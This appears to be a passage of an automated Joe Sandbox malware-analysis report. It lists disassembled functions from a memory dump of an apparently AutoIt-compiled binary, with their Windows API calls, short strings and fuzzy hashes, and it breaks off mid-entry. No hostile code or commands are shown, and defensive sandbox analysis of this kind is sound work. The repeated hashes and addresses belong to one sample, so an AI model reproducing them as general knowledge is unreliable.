Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 906c367d0ecc16cdac0fdae3fbb443ac3203128e13f0d37f6a3a380a99317cd9
Instruction ID: 5bd18733ed63f011c8097a026b2aeafe25bf4395bd534efe0b8ca4558f2fa0dc
Opcode Fuzzy Hash: 906c367d0ecc16cdac0fdae3fbb443ac3203128e13f0d37f6a3a380a99317cd9
Instruction Fuzzy Hash: 6CE0E5B2800209EFCB819F60D808AAD7BF6AF88310F518005F95AA7250DB388555AF50

Function 00F3068D Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00F3068D
GetDC.USER32(00000000), ref: 00F30697
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00F306A3
ReleaseDC.USER32(?), ref: 00F306C4

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: ea2e6c7e19ba4ce72ca83026e4640264f2f939d036099ae591321ccd471f6cec
Instruction ID: 29f6d1d00a08f8d7b056aa6aab000a6a4bc4df68653c69386fa81016efca9dc7
Opcode Fuzzy Hash: ea2e6c7e19ba4ce72ca83026e4640264f2f939d036099ae591321ccd471f6cec
Instruction Fuzzy Hash: FAE01AB2800209AFCB819F60D808AAD7FF2AF8C310F508004FA59A7250DB389555AF50

Function 00F5B5EF Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00F0436A: _wcscpy.LIBCMT ref: 00F0438D

Part of subcall function 00EF4D37: __itow.LIBCMT ref: 00EF4D62
Part of subcall function 00EF4D37: __swprintf.LIBCMT ref: 00EF4DAC

__wcsnicmp.LIBCMT ref: 00F5B670
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 00F5B739

Strings

LPT, xrefs: 00F5B66A

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: 81ae6013fb6f1aa85a9db1c0696537522ca9c0dfb0a1e07eaee50c52bb6b0f00
Instruction ID: 1bd550e788bf04cace74685f505a448b315afe28b5415a649d81435a72b7892e
Opcode Fuzzy Hash: 81ae6013fb6f1aa85a9db1c0696537522ca9c0dfb0a1e07eaee50c52bb6b0f00
Instruction Fuzzy Hash: F4616176E00219AFCB14DF94D891EAEB7F4EF48310F108159FA06AB391DB70AE44DB50

Function 00EFE00D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00EFE01E
GlobalMemoryStatusEx.KERNEL32(?), ref: 00EFE037

Strings

@, xrefs: 00EFE02B

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 0961cb82c9c170fa85c026deabd97e3f0bb4f0f7d17639e8a3fc6f0b5b04f15b
Instruction ID: 23377e799b731189ccf43eae52269f2fc2b048d79c1348851bf2857c9aefee63
Opcode Fuzzy Hash: 0961cb82c9c170fa85c026deabd97e3f0bb4f0f7d17639e8a3fc6f0b5b04f15b
Instruction Fuzzy Hash: FF5138B24087489BE320AF50EC86BBFBBF8FB84714F51885DF2D8511A1DB719529CB16

Function 00F78096 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00F78186
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00F7819B

Strings

', xrefs: 00F780EF

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 5dc2cccc1c01a3bf34108f4ab04dbaa7ce6fd082703d82e1d26e6fb42067a845
Instruction ID: b9f5d00a3d3339f083e547881a74bf936592f06a6273cbdaac117ae9eeff7984
Opcode Fuzzy Hash: 5dc2cccc1c01a3bf34108f4ab04dbaa7ce6fd082703d82e1d26e6fb42067a845
Instruction Fuzzy Hash: E3412874A403099FDB10DF64C885BEA7BB5FB08340F50416AE909AB391DB70A946DF91

Function 00F62C5A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F62C6A
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00F62CA0

Strings

|, xrefs: 00F62C71

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: dfc56387751566e8d72a9b00a1f957c515fac6b89236e3f688f94298164868e1
Instruction ID: 2453ea5f1aab1b9a301e61ca6607f877b81759cc5883e51f58b802b6bc02ca12
Opcode Fuzzy Hash: dfc56387751566e8d72a9b00a1f957c515fac6b89236e3f688f94298164868e1
Instruction Fuzzy Hash: 85313C71C00119ABDF51EFA0CC85AEEBFB9FF08314F104019F815A6162EB359956EBA0

Function 00F77088 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00F7713C
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00F77178

Strings

static, xrefs: 00F770D8

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 6843d16e4a9b666a0bd1340c7c1a6eea54ec1ce69dd37a0c1e2cad533cec8959
Instruction ID: a64fb6dc0cb28cf97decc0ba0dd92c1722d22a8ddcd1771a11b278c0ad659ba9
Opcode Fuzzy Hash: 6843d16e4a9b666a0bd1340c7c1a6eea54ec1ce69dd37a0c1e2cad533cec8959
Instruction Fuzzy Hash: D331AF71110608AEEB10AF74CC80BFB73A9FF48720F50D61AF99997190DB71AC81EB61

Function 00F53049 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F530B8
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00F530F3

Strings

0, xrefs: 00F530B1

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 807c6bf4918ef8074a0045081c330bf5e8aedd14b5d7cf50af17a5d724eef43c
Instruction ID: a7d6122c2f58d59fd2fe1901c672889f1a141715a710cf0fda2b5abd8853b54d
Opcode Fuzzy Hash: 807c6bf4918ef8074a0045081c330bf5e8aedd14b5d7cf50af17a5d724eef43c
Instruction Fuzzy Hash: BA310931E007059BEB248F6DCD85BEEBBB8EF053E1F144019EE81A61A1D7709B48EB50

Function 00F640B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00F64132

Part of subcall function 00F01A36: _memmove.LIBCMT ref: 00F01A77

Strings

AUTOITCALLVARIABLE%d, xrefs: 00F64124
, $, xrefs: 00F64172

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: 96868fa0da5fddeb401afc14cfdc2273253cb0fb5cb4604513b8e792f9eecfed
Instruction ID: f0868238309503cf85f14cbcdec9d9fe5c853877fb994f244f4716c6910f0271
Opcode Fuzzy Hash: 96868fa0da5fddeb401afc14cfdc2273253cb0fb5cb4604513b8e792f9eecfed
Instruction Fuzzy Hash: 81218E71A00218AFCF15EF64CC81AEE77A5BF56341F404455F905A7282DB38EA85FBA2

Function 00F76CF9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00F76D86
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00F76D91

Strings

Combobox, xrefs: 00F76D53

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: fdf0da2669653494ecb7464bebc44f363bcf6dcf9847684976c76c027c09ab2d
Instruction ID: e59a6ff95ec5e6a0df40e07bc810023744ffae1fef64eba335435ecfea52c230
Opcode Fuzzy Hash: fdf0da2669653494ecb7464bebc44f363bcf6dcf9847684976c76c027c09ab2d
Instruction Fuzzy Hash: 23118671710608AFEF219F54DC81FFB3B6BEB88364F11812AF918DB290D6719C51A761

Function 00F7722C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00EF2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00EF214F
Part of subcall function 00EF2111: GetStockObject.GDI32(00000011), ref: 00EF2163
Part of subcall function 00EF2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00EF216D

GetWindowRect.USER32(00000000,?), ref: 00F77296
GetSysColor.USER32(00000012), ref: 00F772B0

Strings

static, xrefs: 00F77273

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: e0399c20441d1c98ba3ff92ec15a1c93009dda94e8ffe046aabc650820826a16
Instruction ID: 4bff3a75499f093c7ef0db82cc5673ec71aa68b8bd459f7463d1e85a9f8fd7fd
Opcode Fuzzy Hash: e0399c20441d1c98ba3ff92ec15a1c93009dda94e8ffe046aabc650820826a16
Instruction Fuzzy Hash: D9211A72A2420AAFDB04DFA8CC45EFA7BA8EB08314F005519FD55D3251DB35E851EB51

Function 00F76F45 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00F76FC7
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00F76FD6

Strings

edit, xrefs: 00F76FAB

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: c81d73231f249366e7a307a55f3515d74e7619dc4557f50386d31eee64a572eb
Instruction ID: 883ed56a00606222be8a3a1d3b80a0a9fc40f6784caeb2f0797c655d30b92cd7
Opcode Fuzzy Hash: c81d73231f249366e7a307a55f3515d74e7619dc4557f50386d31eee64a572eb
Instruction Fuzzy Hash: 44116D71500608ABEB505E64EC80EFB3B6AEB45378F508715F968D71E0DB35DC50BB61

Function 00F53156 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F531C9
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00F531E8

Strings

0, xrefs: 00F531BF

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 599071b3eb89d0152d6fa041a07196df8cd6af713fb73c5dc6d6f2b6bd99b3c5
Instruction ID: 67b407cdb270b36e7d09b5c82ff42fa48124144caa74587e4bc147fe3d31caa8
Opcode Fuzzy Hash: 599071b3eb89d0152d6fa041a07196df8cd6af713fb73c5dc6d6f2b6bd99b3c5
Instruction Fuzzy Hash: F911E932D00618ABDB20DAACDC45B9D77B8AB053A2F140122EE05A7160D774EF0DEBE1

Function 00F628A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00F628F8
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00F62921

Strings

<local>, xrefs: 00F628E9

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 86d3f477083eb5ae2679e57b4fde154b455853419da973d629923d95ce94af51
Instruction ID: 2cba0be590d7185e782d6ca348be74fae50e2e4a60e914d27770f596246d1119
Opcode Fuzzy Hash: 86d3f477083eb5ae2679e57b4fde154b455853419da973d629923d95ce94af51
Instruction Fuzzy Hash: 6811C171901A25BAEB648B618C88EFABF68EF06361F10812BF54547100E7705954F6E0

Function 00F68475 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00F686E0: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,00F6849D,?,00000000,?,?), ref: 00F686F7

inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00F684A0
htons.WSOCK32(00000000,?,00000000), ref: 00F684DD

Strings

255.255.255.255, xrefs: 00F684B8

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: 64a83de56e167d17eaf5528e2c1fffa180e37f75aaca3a4b42f1185260c3c3a0
Instruction ID: 95b5b3a20f2ba9172cbc228417958dc6d3a8f8b31b0be06db95eda499e5cdae8
Opcode Fuzzy Hash: 64a83de56e167d17eaf5528e2c1fffa180e37f75aaca3a4b42f1185260c3c3a0
Instruction Fuzzy Hash: 9911C27150020AABDB10EF64CC46BEEB724FF04360F10861AE911572C2DF71A805E755

Function 00F499BD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F01A36: _memmove.LIBCMT ref: 00F01A77

Part of subcall function 00F4B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00F4B7BD

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00F49A2B

Strings

ListBox, xrefs: 00F499F5
ComboBox, xrefs: 00F499CA

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 2924dd0b012f0379d7d766be555765ca53ca28b304e8e48e2ee4c62274e8eda5
Instruction ID: 534f89803f1a0675f441b535d9ebfb7e7a729a5487de1b148685647051c37a66
Opcode Fuzzy Hash: 2924dd0b012f0379d7d766be555765ca53ca28b304e8e48e2ee4c62274e8eda5
Instruction Fuzzy Hash: B801F571B41125ABCB14EBA4CC51DFE7769BF52320B000609FC61532C1EF389808F650

Function 00EFBBC6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00EFBC07

Part of subcall function 00F01821: _memmove.LIBCMT ref: 00F0185B

_wcscat.LIBCMT ref: 00F33593

Strings

h, xrefs: 00EFBC13

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: FullNamePath_memmove_wcscat
String ID: h
API String ID: 257928180-3415971826
Opcode ID: 8e0a535a2f30075f04ba51652994f5007d732720b09e02879e1ab352e1e24818
Instruction ID: bd5800489379c895122d31c37a6a7449ebddb9bda5df2dc81f47e7320aea3069
Opcode Fuzzy Hash: 8e0a535a2f30075f04ba51652994f5007d732720b09e02879e1ab352e1e24818
Instruction Fuzzy Hash: 7F118231A0420C96CB45FBA4DC45EEEB7E8FF48350B1050A5BA88E7291DF7097847B51

Function 00F5934C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F59367
__fread_nolock.LIBCMT ref: 00F5937C

Strings

EA06, xrefs: 00F593AE

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: 1d6eaf185b2a52d3dc9680ca849824a5dc5569ab68f7533b0010fda11a85654e
Instruction ID: 9c1389f0482beffd07c262f39d3c36c072ea0f5ee682eeb6dadebb4af58913e3
Opcode Fuzzy Hash: 1d6eaf185b2a52d3dc9680ca849824a5dc5569ab68f7533b0010fda11a85654e
Instruction Fuzzy Hash: F901F972C04258BEDB18CBA8CC56EFE7BFC9B05311F00419AF552D2181E5B9E6089760

Function 00F498B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F01A36: _memmove.LIBCMT ref: 00F01A77

Part of subcall function 00F4B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00F4B7BD

SendMessageW.USER32(?,00000180,00000000,?), ref: 00F49923

Strings

ListBox, xrefs: 00F498ED
ComboBox, xrefs: 00F498C2

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
